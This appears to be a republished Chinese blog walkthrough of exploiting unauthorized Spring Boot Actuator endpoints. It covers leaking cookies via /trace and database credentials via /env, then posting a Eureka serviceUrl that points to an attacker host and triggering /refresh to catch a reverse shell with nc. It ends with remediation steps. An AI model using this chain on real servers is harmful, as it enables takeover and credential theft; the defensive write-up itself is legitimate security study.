中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Spring Boot Actuator從未授權訪問到getshell的示例分析

發布時間:2022-01-15 10:17:29 來源:億速云 閱讀:566 作者:柒染 欄目:網絡安全

這篇文章主要為大家分析了Spring Boot Actuator從未授權訪問到getshell的示例分析的相關知識點,內容詳細易懂,操作細節合理,具有一定參考價值。如果感興趣的話,不妨跟著跟隨小編一起來看看,下面跟著小編一起深入學習“Spring Boot Actuator從未授權訪問到getshell的示例分析”的知識吧。

前言

部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點意思,就動手在本地搭了個環境測試一下。

Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模塊,借助于 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啟用的情況下,如果沒有做好相關權限控制,非法用戶可通過訪問默認的執行器端點(endpoints)來獲取應用系統中的監控信息,從而導致信息泄露甚至服務器被接管的事件發生。

如上所示,actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模塊。其提供的執行器端點分為兩類:原生端點和用戶自定義擴展端點,原生端點主要有:

Spring Boot Actuator從未授權訪問到getshell的示例分析

利用思路

  1. 利用env加refresh進行getshell

  2. 利用mappings,尋找未授權接口

  3. 利用trace,獲取認證信息(Cookie、tooken、Session),利用認證信息訪問接口。

  4. env有可能泄露的數據庫賬號密碼(mangodb),當然得開放外網,可能性較小。

  5. 老外說可以執行sql語句,目前沒搞明白

漏洞發現

通常識別當前 web 應用使用的框架為 springboot 框架。主要有兩個方法判斷:

  1. 通過 web 應用程序網頁標簽的圖標(favicon.ico);如果 web 應用開發者沒有修改 springboot web 應用的默認圖標,那么進入應用首頁后可以看到如下默認的綠色小圖標:

Spring Boot Actuator從未授權訪問到getshell的示例分析

  1. 通過 springboot 框架默認報錯頁面;如果 web 應用開發者沒有修改 springboot web 應用的默認 4xx、5xx 報錯頁面,那么當 web 應用程序出現 4xx、5xx 錯誤時,會報錯如下(此處僅以 404 報錯頁面為例):訪問一個隨便構造的路徑,比如:http:/172.26.2.24:8090/index,出現如下報錯頁面說明web網站使用了springboot框架(在實際中遇到的大多數都是此類情況)。

Spring Boot Actuator從未授權訪問到getshell的示例分析

綜合以上兩個途徑來判斷當前 web 應用是否是 springboot 框架,就是通過訪問不同的目錄,看是否有小綠葉圖標,然后就是想辦法在不同目錄下觸發應用程序的 4xx 或 5xx 錯誤,看是否有 Whitelabel Error Page 報錯。

漏洞利用

訪問/trace端點獲取基本的 HTTP 請求跟蹤信息(時間戳、HTTP 頭等),如果存在登錄用戶的操作請求,可以偽造cookie進行登錄。

Spring Boot Actuator從未授權訪問到getshell的示例分析

訪問/env端點獲取全部環境屬性,由于 actuator 會監控站點 mysql、mangodb 之類的數據庫服務,所以通過監控信息有時可以mysql、mangodb 數據庫信息,如果數據庫正好開放在公網,那么造成的危害是巨大的,

Spring Boot Actuator從未授權訪問到getshell的示例分析

/env端點配置不當造成RCE,

前置條件:Eureka-Client <1.8.7(多見于Spring Cloud Netflix)

比如測試前臺json報錯泄露包名就是使用netflix

Spring Boot Actuator從未授權訪問到getshell的示例分析

需要以下兩個包

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依賴)

利用python3啟動腳本,需要注意兩個地方,一個為接收shell的ip和端口,另一個為我們腳本啟動的端口,

Spring Boot Actuator從未授權訪問到getshell的示例分析

Spring Boot Actuator從未授權訪問到getshell的示例分析

Nc監聽一個端口用以接收反彈shell,

寫入配置,訪問/env端點,抓包將get請求改為post請求,post內容為(該ip為腳本啟動的機器的ip):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator從未授權訪問到getshell的示例分析

然后再訪問/refresh,抓包將get請求更改為post請求,post數據隨意,

Spring Boot Actuator從未授權訪問到getshell的示例分析

然后在我們nc的窗口可以看到成功反彈了一個shell回來。

Spring Boot Actuator從未授權訪問到getshell的示例分析

漏洞修復

作為一名安全dog,不能只挖不修,在項目的pom.xml文件下引入spring-boot-starter-security依賴

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>

Spring Boot Actuator從未授權訪問到getshell的示例分析

然后在application.properties中開啟security功能,配置訪問賬號密碼,重啟應用即可彈出。

management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator從未授權訪問到getshell的示例分析

Spring Boot Actuator從未授權訪問到getshell的示例分析

禁用接口,則可設置如下(如禁用env接口):

endpoints.env.enabled= false

問題

老外說可以執行sql語句發現執行不了,可能方法沒用對,截了個他的圖,希望有執行成功的大佬分享下。

Spring Boot Actuator從未授權訪問到getshell的示例分析

實際環境中,發現很多無refresh ,導致無法執行命令目前還沒突破

關于“Spring Boot Actuator從未授權訪問到getshell的示例分析”就介紹到這了,更多相關內容可以搜索億速云以前的文章,希望能夠幫助大家答疑解惑,請多多支持億速云網站!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

德惠市| 桃园市| 新蔡县| 临海市| 岳阳市| 宝兴县| 炉霍县| 晋中市| 固镇县| 正定县| 平山县| 开封县| 扎赉特旗| 阿勒泰市| 浮山县| 桂东县| 防城港市| 桦甸市| 枞阳县| 兴文县| 珲春市| 深泽县| 建阳市| 台州市| 蛟河市| 博客| 石棉县| 剑川县| 桓台县| 禹城市| 建平县| 阿合奇县| 宜兴市| 油尖旺区| 衡山县| 逊克县| 体育| 徐闻县| 昌黎县| 江永县| 遂昌县|